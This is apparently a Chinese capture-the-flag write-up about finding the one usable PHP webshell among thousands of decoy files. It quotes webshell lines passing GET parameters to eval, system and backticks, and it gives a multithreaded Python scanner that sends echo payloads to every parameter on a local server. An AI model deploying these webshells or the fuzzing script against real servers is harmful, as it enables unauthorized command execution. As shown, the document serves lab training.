目录
信息收集
正则测试
python脚本
getshell
信息收集
$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;
下载gz解压后得到几千个php文件,简单看几个发现都是一些不能利用的shell,虽然很多shell都没用,所以我们猜测这几千个php文件中肯定含有可以使用的shell,我们只有写脚本去试了。
正则测试
import re
a="$_GET['aaa']666aaa,coleak,999"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\](\d+).*?,(\w+),(\d+)") # 匹配get参数
for i in rrGET.findall(a):
print(i)
返回为一个元组
('aaa', '666', 'coleak', '999')
python脚本
import os
import requests
import re
import threading
import time
s1=threading.Semaphore(100) #设置最大的线程数
filePath = r"E:\www\src\\"
os.chdir(filePath)#改变当前工作目录到指定的路径
requests.adapters.DEFAULT_RETRIES =8 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)#获取文件名字列表
session = requests.Session()
session.keep_alive = False# 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('[+]trying '+file)
with open(file,encoding='utf-8') as f:#打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {}#所有的$_POST
params = {}#所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://localhost:8083/'+file
req = session.post(url, data=data, params=params)#一次性请求所有的GET和POST
req.close()# 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
if __name__ == '__main__':
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
正则那里也可以先预加载正则式
rrGET = re.compile(r"\$_GET\[\'(\w+)\']") # 匹配get参数 rrPOST = re.compile(r"\$_POST\[\'(\w+)\']") # 匹配post参数for i in rrGET.findall(content): r = session.get(url + "%s?%s=%s" % (fileName, i, "echo 'coleak';"))
由于buu访问次数过多会被限制访问,所以我们在本地搭建个PHP服务自己跑一下,测试的时候需要再本地搭一个PHP服务器且版本为7.x
大概半分钟就跑出来了可用的shell,这个脚本很巧妙的将所有参数一起传入进去,如果发现可以利用再细分找具体的参数
找到文件和shell